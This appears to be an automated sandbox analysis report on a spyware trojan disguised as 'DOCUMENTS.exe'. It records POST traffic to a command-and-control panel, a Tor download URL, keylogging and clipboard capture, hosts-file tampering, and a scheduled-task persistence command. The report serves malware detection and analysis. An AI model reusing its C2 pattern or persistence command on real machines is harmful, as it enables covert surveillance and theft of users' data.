Source: global traffic HTTP traffic detected: POST /webpanel-dawn2/mawa/0fcd1ef3ebe94dad1463.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0Content-Type: application/x-www-form-urlencodedHost: 161.129.64.49Content-Length: 456Expect: 100-continue
Source: global traffic HTTP traffic detected: POST /webpanel-dawn2/mawa/0fcd1ef3ebe94dad1463.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0Content-Type: application/x-www-form-urlencodedHost: 161.129.64.49Content-Length: 456Expect: 100-continue
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49688
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49676
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49687
Source: unknown Network traffic detected: HTTP traffic on port 49695 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49695
Source: unknown Network traffic detected: HTTP traffic on port 49676 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49682
Source: unknown Network traffic detected: HTTP traffic on port 49683 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49689 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49690 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49687 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49688 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49682 -> 443
Source: unknown TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown TCP traffic detected without corresponding DNS query: 161.129.64.49
Source: unknown TCP traffic detected without corresponding DNS query: 161.129.64.49
Source: unknown TCP traffic detected without corresponding DNS query: 161.129.64.49
Source: unknown TCP traffic detected without corresponding DNS query: 161.129.64.49
Source: unknown TCP traffic detected without corresponding DNS query: 161.129.64.49
Source: unknown TCP traffic detected without corresponding DNS query: 161.129.64.49
Source: unknown TCP traffic detected without corresponding DNS query: 161.129.64.49
Source: unknown TCP traffic detected without corresponding DNS query: 161.129.64.49
Source: unknown TCP traffic detected without corresponding DNS query: 161.129.64.49
Source: unknown TCP traffic detected without corresponding DNS query: 161.129.64.49
Source: unknown TCP traffic detected without corresponding DNS query: 161.129.64.49
Source: unknown TCP traffic detected without corresponding DNS query: 161.129.64.49
Source: unknown TCP traffic detected without corresponding DNS query: 161.129.64.49
Source: unknown TCP traffic detected without corresponding DNS query: 161.129.64.49
Source: unknown TCP traffic detected without corresponding DNS query: 161.129.64.49
Source: unknown TCP traffic detected without corresponding DNS query: 161.129.64.49
Source: unknown TCP traffic detected without corresponding DNS query: 161.129.64.49
Source: unknown TCP traffic detected without corresponding DNS query: 161.129.64.49
Source: unknown TCP traffic detected without corresponding DNS query: 161.129.64.49
Source: unknown TCP traffic detected without corresponding DNS query: 161.129.64.49
Source: unknown TCP traffic detected without corresponding DNS query: 161.129.64.49
Source: unknown TCP traffic detected without corresponding DNS query: 161.129.64.49
Source: unknown TCP traffic detected without corresponding DNS query: 161.129.64.49
Source: unknown TCP traffic detected without corresponding DNS query: 23.203.69.124
Source: unknown TCP traffic detected without corresponding DNS query: 23.203.69.124
Source: unknown TCP traffic detected without corresponding DNS query: 161.129.64.49
Source: unknown TCP traffic detected without corresponding DNS query: 161.129.64.49
Source: unknown TCP traffic detected without corresponding DNS query: 161.129.64.49
Source: unknown TCP traffic detected without corresponding DNS query: 161.129.64.49
Source: unknown TCP traffic detected without corresponding DNS query: 23.55.161.167
Source: unknown TCP traffic detected without corresponding DNS query: 23.55.161.167
Source: unknown TCP traffic detected without corresponding DNS query: 161.129.64.49
Source: unknown TCP traffic detected without corresponding DNS query: 161.129.64.49
Source: unknown TCP traffic detected without corresponding DNS query: 161.129.64.49
Source: MSBuild.exe, 00000009.00000002.524239294.0000000003281000.00000004.00000001.sdmp String found in binary or memory: http://127.0.0.1:HTTP/1.1
Source: MSBuild.exe, 00000009.00000002.525207312.00000000034F9000.00000004.00000001.sdmp String found in binary or memory: http://161.129.64.49
Source: MSBuild.exe, 00000009.00000002.524239294.0000000003281000.00000004.00000001.sdmp String found in binary or memory: http://161.129.64.49/webpanel-dawn2/mawa/0fcd1ef3ebe94dad1463.php
Source: MSBuild.exe, 00000009.00000002.524239294.0000000003281000.00000004.00000001.sdmp String found in binary or memory: http://161.129.64.49/webpanel-dawn2/mawa/0fcd1ef3ebe94dad1463.php127.0.0.1POST
Source: MSBuild.exe, 00000009.00000002.524239294.0000000003281000.00000004.00000001.sdmp String found in binary or memory: http://161.129.64.49x&
Source: MSBuild.exe, 00000009.00000002.524239294.0000000003281000.00000004.00000001.sdmp String found in binary or memory: http://DynDns.comDynDNS
Source: MSBuild.exe, 00000009.00000002.525207312.00000000034F9000.00000004.00000001.sdmp, MSBuild.exe, 00000009.00000002.524239294.0000000003281000.00000004.00000001.sdmp String found in binary or memory: http://cUpnXtBcsknsdD.com
Source: DOCUMENTS.exe, 00000000.00000002.292662207.0000000006CF2000.00000004.00000001.sdmp String found in binary or memory: http://fontfabrik.com
Source: DOCUMENTS.exe, 00000000.00000002.292662207.0000000006CF2000.00000004.00000001.sdmp String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: DOCUMENTS.exe, 00000000.00000002.292662207.0000000006CF2000.00000004.00000001.sdmp String found in binary or memory: http://www.carterandcone.coml
Source: DOCUMENTS.exe, 00000000.00000002.292662207.0000000006CF2000.00000004.00000001.sdmp String found in binary or memory: http://www.fontbureau.com
Source: DOCUMENTS.exe, 00000000.00000003.260935512.0000000005AE9000.00000004.00000001.sdmp String found in binary or memory: http://www.fontbureau.com/designers
Source: DOCUMENTS.exe, 00000000.00000002.292662207.0000000006CF2000.00000004.00000001.sdmp String found in binary or memory: http://www.fontbureau.com/designers/?
Source: DOCUMENTS.exe, 00000000.00000002.292662207.0000000006CF2000.00000004.00000001.sdmp String found in binary or memory: http://www.fontbureau.com/designers/cabarga.htmlN
Source: DOCUMENTS.exe, 00000000.00000002.292662207.0000000006CF2000.00000004.00000001.sdmp String found in binary or memory: http://www.fontbureau.com/designers/frere-jones.html
Source: DOCUMENTS.exe, 00000000.00000002.292662207.0000000006CF2000.00000004.00000001.sdmp String found in binary or memory: http://www.fontbureau.com/designers8
Source: DOCUMENTS.exe, 00000000.00000002.292662207.0000000006CF2000.00000004.00000001.sdmp String found in binary or memory: http://www.fontbureau.com/designers?
Source: DOCUMENTS.exe, 00000000.00000002.292662207.0000000006CF2000.00000004.00000001.sdmp String found in binary or memory: http://www.fontbureau.com/designersG
Source: DOCUMENTS.exe, 00000000.00000002.292439834.0000000005AE0000.00000004.00000001.sdmp String found in binary or memory: http://www.fontbureau.coma
Source: DOCUMENTS.exe, 00000000.00000002.292439834.0000000005AE0000.00000004.00000001.sdmp String found in binary or memory: http://www.fontbureau.comasc
Source: DOCUMENTS.exe, 00000000.00000002.292439834.0000000005AE0000.00000004.00000001.sdmp String found in binary or memory: http://www.fontbureau.come.com$u
Source: DOCUMENTS.exe, 00000000.00000003.252497884.0000000005AFB000.00000004.00000001.sdmp String found in binary or memory: http://www.fonts.com
Source: DOCUMENTS.exe, 00000000.00000003.252461730.0000000005AFB000.00000004.00000001.sdmp String found in binary or memory: http://www.fonts.comc
Source: DOCUMENTS.exe, 00000000.00000003.252497884.0000000005AFB000.00000004.00000001.sdmp String found in binary or memory: http://www.fonts.comx
Source: DOCUMENTS.exe, 00000000.00000003.254970840.0000000005AE4000.00000004.00000001.sdmp String found in binary or memory: http://www.founder.com.c
Source: DOCUMENTS.exe, 00000000.00000003.254970840.0000000005AE4000.00000004.00000001.sdmp String found in binary or memory: http://www.founder.com.cn/cn
Source: DOCUMENTS.exe, 00000000.00000003.255313836.0000000005AE4000.00000004.00000001.sdmp String found in binary or memory: http://www.founder.com.cn/cn/
Source: DOCUMENTS.exe, 00000000.00000002.292662207.0000000006CF2000.00000004.00000001.sdmp String found in binary or memory: http://www.founder.com.cn/cn/bThe
Source: DOCUMENTS.exe, 00000000.00000002.292662207.0000000006CF2000.00000004.00000001.sdmp String found in binary or memory: http://www.founder.com.cn/cn/cThe
Source: DOCUMENTS.exe, 00000000.00000003.254947083.0000000005B1D000.00000004.00000001.sdmp String found in binary or memory: http://www.founder.com.cn/cn6
Source: DOCUMENTS.exe, 00000000.00000003.254947083.0000000005B1D000.00000004.00000001.sdmp String found in binary or memory: http://www.founder.com.cn/cn8g
Source: DOCUMENTS.exe, 00000000.00000003.254947083.0000000005B1D000.00000004.00000001.sdmp String found in binary or memory: http://www.founder.com.cn/cnhgN
Source: DOCUMENTS.exe, 00000000.00000003.254970840.0000000005AE4000.00000004.00000001.sdmp String found in binary or memory: http://www.founder.com.cn/cnle:gKg
Source: DOCUMENTS.exe, 00000000.00000002.292662207.0000000006CF2000.00000004.00000001.sdmp String found in binary or memory: http://www.galapagosdesign.com/DPlease
Source: DOCUMENTS.exe, 00000000.00000002.292439834.0000000005AE0000.00000004.00000001.sdmp, DOCUMENTS.exe, 00000000.00000002.292662207.0000000006CF2000.00000004.00000001.sdmp String found in binary or memory: http://www.galapagosdesign.com/staff/dennis.htm
Source: DOCUMENTS.exe, 00000000.00000002.292662207.0000000006CF2000.00000004.00000001.sdmp String found in binary or memory: http://www.goodfont.co.kr
Source: DOCUMENTS.exe, 00000000.00000002.292662207.0000000006CF2000.00000004.00000001.sdmp String found in binary or memory: http://www.jiyu-kobo.co.jp/
Source: DOCUMENTS.exe, 00000000.00000003.257338663.0000000005AE4000.00000004.00000001.sdmp String found in binary or memory: http://www.jiyu-kobo.co.jp/Yu
Source: DOCUMENTS.exe, 00000000.00000003.257338663.0000000005AE4000.00000004.00000001.sdmp String found in binary or memory: http://www.jiyu-kobo.co.jp/jp/
Source: DOCUMENTS.exe, 00000000.00000003.257338663.0000000005AE4000.00000004.00000001.sdmp String found in binary or memory: http://www.jiyu-kobo.co.jp/osof
Source: DOCUMENTS.exe, 00000000.00000003.257338663.0000000005AE4000.00000004.00000001.sdmp String found in binary or memory: http://www.jiyu-kobo.co.jp/seb
Source: DOCUMENTS.exe, 00000000.00000002.292662207.0000000006CF2000.00000004.00000001.sdmp String found in binary or memory: http://www.sajatypeworks.com
Source: DOCUMENTS.exe, 00000000.00000003.252219497.0000000005AFB000.00000004.00000001.sdmp String found in binary or memory: http://www.sajatypeworks.coma-d
Source: DOCUMENTS.exe, 00000000.00000003.252219497.0000000005AFB000.00000004.00000001.sdmp String found in binary or memory: http://www.sajatypeworks.comibi_
Source: DOCUMENTS.exe, 00000000.00000003.252219497.0000000005AFB000.00000004.00000001.sdmp String found in binary or memory: http://www.sajatypeworks.coms
Source: DOCUMENTS.exe, 00000000.00000002.292662207.0000000006CF2000.00000004.00000001.sdmp String found in binary or memory: http://www.sakkal.com
Source: DOCUMENTS.exe, 00000000.00000003.254341564.0000000005AE6000.00000004.00000001.sdmp String found in binary or memory: http://www.sandoll.co.kr
Source: DOCUMENTS.exe, 00000000.00000003.254341564.0000000005AE6000.00000004.00000001.sdmp String found in binary or memory: http://www.sandoll.co.krFeSi
Source: DOCUMENTS.exe, 00000000.00000003.254341564.0000000005AE6000.00000004.00000001.sdmp String found in binary or memory: http://www.sandoll.co.krt
Source: DOCUMENTS.exe, 00000000.00000002.292662207.0000000006CF2000.00000004.00000001.sdmp String found in binary or memory: http://www.tiro.com
Source: DOCUMENTS.exe, 00000000.00000003.253296632.0000000005AFB000.00000004.00000001.sdmp String found in binary or memory: http://www.tiro.comn
Source: DOCUMENTS.exe, 00000000.00000002.292662207.0000000006CF2000.00000004.00000001.sdmp String found in binary or memory: http://www.typography.netD
Source: DOCUMENTS.exe, 00000000.00000002.292662207.0000000006CF2000.00000004.00000001.sdmp String found in binary or memory: http://www.urwpp.deDPlease
Source: DOCUMENTS.exe, 00000000.00000002.292662207.0000000006CF2000.00000004.00000001.sdmp String found in binary or memory: http://www.zhongyicts.com.cn
Source: MSBuild.exe, 00000009.00000002.524239294.0000000003281000.00000004.00000001.sdmp String found in binary or memory: http://xJKvnt.com
Source: MSBuild.exe, 00000009.00000002.524239294.0000000003281000.00000004.00000001.sdmp String found in binary or memory: https://api.ipify.org%(
Source: MSBuild.exe, 00000009.00000002.524239294.0000000003281000.00000004.00000001.sdmp String found in binary or memory: https://api.ipify.org%GETMozilla/5.0
Source: DOCUMENTS.exe, 00000000.00000002.294334493.000000000A8E8000.00000004.00000001.sdmp, MSBuild.exe, 00000009.00000002.520256174.0000000000402000.00000040.00000001.sdmp String found in binary or memory: https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip
Source: MSBuild.exe, 00000009.00000002.524239294.0000000003281000.00000004.00000001.sdmp String found in binary or memory: https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip%tordir%%ha
Source: unknown HTTP traffic detected: POST /webpanel-dawn2/mawa/0fcd1ef3ebe94dad1463.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0Content-Type: application/x-www-form-urlencodedHost: 161.129.64.49Content-Length: 458Expect: 100-continueConnection: Keep-Alive

Key, Mouse, Clipboard, Microphone and Screen Capturing:

barindex
Installs a global keyboard hook
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe Windows user hook set: 0 keyboard low level C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe Jump to behavior
Creates a window with clipboard capturing capabilities
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe Window created: window name: CLIPBRDWNDCLASS Jump to behavior

Spam, unwanted Advertisements and Ransom Demands:

barindex
Modifies the hosts file
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe File written: C:\Windows\System32\drivers\etc\hosts Jump to behavior

System Summary:

barindex
Initial sample is a PE file and has a suspicious name
Source: initial sample Static PE information: Filename: DOCUMENTS.exe
.NET source code contains very large strings
Source: DOCUMENTS.exe, Form1.cs Long String: Length: 38272
Source: ncXzBAPDBtn.exe.0.dr, Form1.cs Long String: Length: 38272
Source: 0.0.DOCUMENTS.exe.e30000.0.unpack, Form1.cs Long String: Length: 38272
Source: 0.2.DOCUMENTS.exe.e30000.0.unpack, Form1.cs Long String: Length: 38272
Uses 32bit PE files
Source: DOCUMENTS.exe Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE
Detected potential crypto function
Source: C:\Users\user\Desktop\DOCUMENTS.exe Code function: 0_2_019EBBD0 0_2_019EBBD0
Source: C:\Users\user\Desktop\DOCUMENTS.exe Code function: 0_2_019E5FC9 0_2_019E5FC9
Source: C:\Users\user\Desktop\DOCUMENTS.exe Code function: 0_2_019E49C0 0_2_019E49C0
Source: C:\Users\user\Desktop\DOCUMENTS.exe Code function: 0_2_019E69C0 0_2_019E69C0
Source: C:\Users\user\Desktop\DOCUMENTS.exe Code function: 0_2_019E5948 0_2_019E5948
Source: C:\Users\user\Desktop\DOCUMENTS.exe Code function: 0_2_019EED60 0_2_019EED60
Source: C:\Users\user\Desktop\DOCUMENTS.exe Code function: 0_2_019E7880 0_2_019E7880
Source: C:\Users\user\Desktop\DOCUMENTS.exe Code function: 0_2_019E40B8 0_2_019E40B8
Source: C:\Users\user\Desktop\DOCUMENTS.exe Code function: 0_2_019E64C1 0_2_019E64C1
Source: C:\Users\user\Desktop\DOCUMENTS.exe Code function: 0_2_019EE8F8 0_2_019EE8F8
Source: C:\Users\user\Desktop\DOCUMENTS.exe Code function: 0_2_019E4608 0_2_019E4608
Source: C:\Users\user\Desktop\DOCUMENTS.exe Code function: 0_2_019EE43C 0_2_019EE43C
Source: C:\Users\user\Desktop\DOCUMENTS.exe Code function: 0_2_019EFC31 0_2_019EFC31
Source: C:\Users\user\Desktop\DOCUMENTS.exe Code function: 0_2_019EC078 0_2_019EC078
Source: C:\Users\user\Desktop\DOCUMENTS.exe Code function: 0_2_019E8580 0_2_019E8580
Source: C:\Users\user\Desktop\DOCUMENTS.exe Code function: 0_2_019EC380 0_2_019EC380
Source: C:\Users\user\Desktop\DOCUMENTS.exe Code function: 0_2_019E49B0 0_2_019E49B0
Source: C:\Users\user\Desktop\DOCUMENTS.exe Code function: 0_2_019EB3B1 0_2_019EB3B1
Source: C:\Users\user\Desktop\DOCUMENTS.exe Code function: 0_2_019EE5D6 0_2_019EE5D6
Source: C:\Users\user\Desktop\DOCUMENTS.exe Code function: 0_2_019E4DC0 0_2_019E4DC0
Source: C:\Users\user\Desktop\DOCUMENTS.exe Code function: 0_2_019EBBC0 0_2_019EBBC0
Source: C:\Users\user\Desktop\DOCUMENTS.exe Code function: 0_2_019EADFF 0_2_019EADFF
Source: C:\Users\user\Desktop\DOCUMENTS.exe Code function: 0_2_019E45F9 0_2_019E45F9
Source: C:\Users\user\Desktop\DOCUMENTS.exe Code function: 0_2_019EB3F0 0_2_019EB3F0
Source: C:\Users\user\Desktop\DOCUMENTS.exe Code function: 0_2_019E4318 0_2_019E4318
Source: C:\Users\user\Desktop\DOCUMENTS.exe Code function: 0_2_019E9710 0_2_019E9710
Source: C:\Users\user\Desktop\DOCUMENTS.exe Code function: 0_2_019E4309 0_2_019E4309
Source: C:\Users\user\Desktop\DOCUMENTS.exe Code function: 0_2_019E9701 0_2_019E9701
Source: C:\Users\user\Desktop\DOCUMENTS.exe Code function: 0_2_019E8F50 0_2_019E8F50
Source: C:\Users\user\Desktop\DOCUMENTS.exe Code function: 0_2_019E9950 0_2_019E9950
Source: C:\Users\user\Desktop\DOCUMENTS.exe Code function: 0_2_019EED51 0_2_019EED51
Source: C:\Users\user\Desktop\DOCUMENTS.exe Code function: 0_2_019E8F40 0_2_019E8F40
Source: C:\Users\user\Desktop\DOCUMENTS.exe Code function: 0_2_019E8570 0_2_019E8570
Source: C:\Users\user\Desktop\DOCUMENTS.exe Code function: 0_2_019EC36F 0_2_019EC36F
Source: C:\Users\user\Desktop\DOCUMENTS.exe Code function: 0_2_019E9960 0_2_019E9960
Source: C:\Users\user\Desktop\DOCUMENTS.exe Code function: 0_2_019E5890 0_2_019E5890
Source: C:\Users\user\Desktop\DOCUMENTS.exe Code function: 0_2_019ECAB2 0_2_019ECAB2
Source: C:\Users\user\Desktop\DOCUMENTS.exe Code function: 0_2_019ECAC0 0_2_019ECAC0
Source: C:\Users\user\Desktop\DOCUMENTS.exe Code function: 0_2_019E94F8 0_2_019E94F8
Source: C:\Users\user\Desktop\DOCUMENTS.exe Code function: 0_2_019E94E8 0_2_019E94E8
Source: C:\Users\user\Desktop\DOCUMENTS.exe Code function: 0_2_019EE8E8 0_2_019EE8E8
Source: C:\Users\user\Desktop\DOCUMENTS.exe Code function: 0_2_019E9AE9 0_2_019E9AE9
Source: C:\Users\user\Desktop\DOCUMENTS.exe Code function: 0_2_019E7832 0_2_019E7832
Source: C:\Users\user\Desktop\DOCUMENTS.exe Code function: 0_2_019ED02E 0_2_019ED02E
Source: C:\Users\user\Desktop\DOCUMENTS.exe Code function: 0_2_019ED048 0_2_019ED048
Source: C:\Users\user\Desktop\DOCUMENTS.exe Code function: 0_2_019EAE68 0_2_019EAE68
Source: C:\Users\user\Desktop\DOCUMENTS.exe Code function: 0_2_019EC069 0_2_019EC069
Source: C:\Users\user\Desktop\DOCUMENTS.exe Code function: 0_2_0B9F0006 0_2_0B9F0006
Source: C:\Users\user\Desktop\DOCUMENTS.exe Code function: 0_2_0B9F0070 0_2_0B9F0070
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe Code function: 9_2_011FC301 9_2_011FC301
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe Code function: 9_2_011F1F58 9_2_011F1F58
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe Code function: 9_2_011F0070 9_2_011F0070
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe Code function: 9_2_011F4088 9_2_011F4088
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe Code function: 9_2_011F5C80 9_2_011F5C80
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe Code function: 9_2_011F0024 9_2_011F0024
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe Code function: 9_2_02EDF6FF 9_2_02EDF6FF
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe Code function: 9_2_02EDAE68 9_2_02EDAE68
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe Code function: 9_2_02EDD620 9_2_02EDD620
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe Code function: 9_2_02EDDFB1 9_2_02EDDFB1
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe Code function: 9_2_02EDAE08 9_2_02EDAE08
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe Code function: 9_2_05AB0EE8 9_2_05AB0EE8
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe Code function: 9_2_05AB76F8 9_2_05AB76F8
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe Code function: 9_2_05AB0070 9_2_05AB0070
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe Code function: 9_2_05AB1D90 9_2_05AB1D90
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe Code function: 9_2_05AB6FF0 9_2_05AB6FF0
Contains functionality to call native functions
Source: C:\Users\user\Desktop\DOCUMENTS.exe Code function: 0_2_058A0D72 NtQuerySystemInformation, 0_2_058A0D72
Source: C:\Users\user\Desktop\DOCUMENTS.exe Code function: 0_2_058A0D41 NtQuerySystemInformation, 0_2_058A0D41
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe Code function: 9_2_0122B0BA NtQuerySystemInformation, 9_2_0122B0BA
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe Code function: 9_2_0122B089 NtQuerySystemInformation, 9_2_0122B089
Sample file is different than original file name gathered from version info
Source: DOCUMENTS.exe Binary or memory string: OriginalFilename vs DOCUMENTS.exe
Source: DOCUMENTS.exe, 00000000.00000002.292198643.00000000058C0000.00000004.00020000.sdmp Binary or memory string: OriginalFilenameEnvoySinks.dll6 vs DOCUMENTS.exe
Source: DOCUMENTS.exe, 00000000.00000002.291041786.00000000046C1000.00000004.00000001.sdmp Binary or memory string: OriginalFilenameCF_Secretaria.dll< vs DOCUMENTS.exe
Source: DOCUMENTS.exe, 00000000.00000000.250385953.0000000000E32000.00000002.00020000.sdmp Binary or memory string: OriginalFilenameUnmanagedMemoryStre.exeh$ vs DOCUMENTS.exe
Source: DOCUMENTS.exe, 00000000.00000002.293912263.000000000A721000.00000004.00000001.sdmp Binary or memory string: OriginalFilenameqJSTtDTISaCwBJDgVlmtSrlkDMdjFqgoqmoUWx.exe4 vs DOCUMENTS.exe
Source: DOCUMENTS.exe Binary or memory string: OriginalFilenameUnmanagedMemoryStre.exeh$ vs DOCUMENTS.exe
PE file contains strange resources
Source: DOCUMENTS.exe Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: DOCUMENTS.exe Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: DOCUMENTS.exe Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: ncXzBAPDBtn.exe.0.dr Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: ncXzBAPDBtn.exe.0.dr Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: ncXzBAPDBtn.exe.0.dr Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: DOCUMENTS.exe Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: ncXzBAPDBtn.exe.0.dr Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: DOCUMENTS.exe ReversingLabs: Detection: 17%
Source: C:\Users\user\Desktop\DOCUMENTS.exe File read: C:\Users\user\Desktop\DOCUMENTS.exe Jump to behavior
Source: DOCUMENTS.exe Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: C:\Users\user\Desktop\DOCUMENTS.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: unknown Process created: C:\Users\user\Desktop\DOCUMENTS.exe 'C:\Users\user\Desktop\DOCUMENTS.exe'
Source: C:\Users\user\Desktop\DOCUMENTS.exe Process created: C:\Windows\SysWOW64\schtasks.exe 'C:\Windows\System32\schtasks.exe' /Create /TN 'Updates\ncXzBAPDBtn' /XML 'C:\Users\user\AppData\Local\Temp\tmp9BE9.tmp'
Source: C:\Windows\SysWOW64\schtasks.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\DOCUMENTS.exe Process created: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe
Source: C:\Users\user\Desktop\DOCUMENTS.exe Process created: C:\Windows\SysWOW64\schtasks.exe 'C:\Windows\System32\schtasks.exe' /Create /TN 'Updates\ncXzBAPDBtn' /XML 'C:\Users\user\AppData\Local\Temp\tmp9BE9.tmp' Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Process created: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{95E15D0A-66E6-93D9-C53C-76E6219D3341}\InProcServer32 Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Code function: 0_2_058A0BF6 AdjustTokenPrivileges, 0_2_058A0BF6
Source: C:\Users\user\Desktop\DOCUMENTS.exe Code function: 0_2_058A0BBF AdjustTokenPrivileges, 0_2_058A0BBF
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe Code function: 9_2_0122AF3E AdjustTokenPrivileges, 9_2_0122AF3E
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe Code function: 9_2_0122AF07 AdjustTokenPrivileges, 9_2_0122AF07
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\Desktop\DOCUMENTS.exe File created: C:\Users\user\AppData\Roaming\ncXzBAPDBtn.exe Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe File created: C:\Users\user\AppData\Local\Temp\tmp9BE9.tmp Jump to behavior
Source: classification engine Classification label: mal100.troj.adwa.spyw.evad.winEXE@6/6@0/1
Source: C:\Users\user\Desktop\DOCUMENTS.exe File read: C:\Users\user\Desktop\desktop.ini Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Section loaded: C:\Windows\assembly\NativeImages_v2.0.50727_32\mscorlib\9603718106bd57ecfbb18fefd769cab4\mscorlib.ni.dll Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Section loaded: C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sorttbls.nlp Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Section loaded: C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sortkey.nlp Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe Section loaded: C:\Windows\assembly\NativeImages_v2.0.50727_32\mscorlib\9603718106bd57ecfbb18fefd769cab4\mscorlib.ni.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe Section loaded: C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sorttbls.nlp Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe Section loaded: C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sortkey.nlp Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Mutant created: \Sessions\1\BaseNamedObjects\RAjRPPJiBWcsEVV
